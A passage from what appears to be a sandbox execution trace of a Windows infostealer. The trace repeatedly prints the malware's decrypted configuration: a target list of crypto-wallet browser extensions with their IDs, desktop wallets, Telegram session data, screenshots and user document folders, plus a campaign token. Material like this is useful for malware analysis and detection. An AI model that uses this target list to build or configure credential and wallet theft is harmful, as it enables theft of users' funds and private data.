Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3571 [0259.812] LocalAlloc (uFlags=0x40, uBytes=0x1c66) returned 0x6ef5a0 [0259.813] StrCpyW (in: psz1=0x6b9720, psz2="|\nwlts" | out: psz1="|\nwlts") returned="|\nwlts" [0259.813] LocalFree (hMem=0x6ef5a0) returned 0x0 [0260.162] StrStrW (lpFirst="|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.162] lstrcmpiW (lpString1="|\nwlts", lpString2="libs") returned -1 [0260.162] LocalFree (hMem=0x6b9720) returned 0x0 [0260.163] LocalFree (hMem=0x6bb310) returned 0x0 [0260.163] LocalFree (hMem=0x6bcf00) returned 0x0 [0260.164] StrStrW (lpFirst="|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.165] lstrlenW (lpString="wlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3569 [0260.165] lstrlenW (lpString="wlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3569 [0260.165] LocalAlloc (uFlags=0x40, uBytes=0x1be2) returned 0x6b9720 [0260.165] lstrlenW (lpString="wlts_daedalus:Daedalus;26;Daedalus 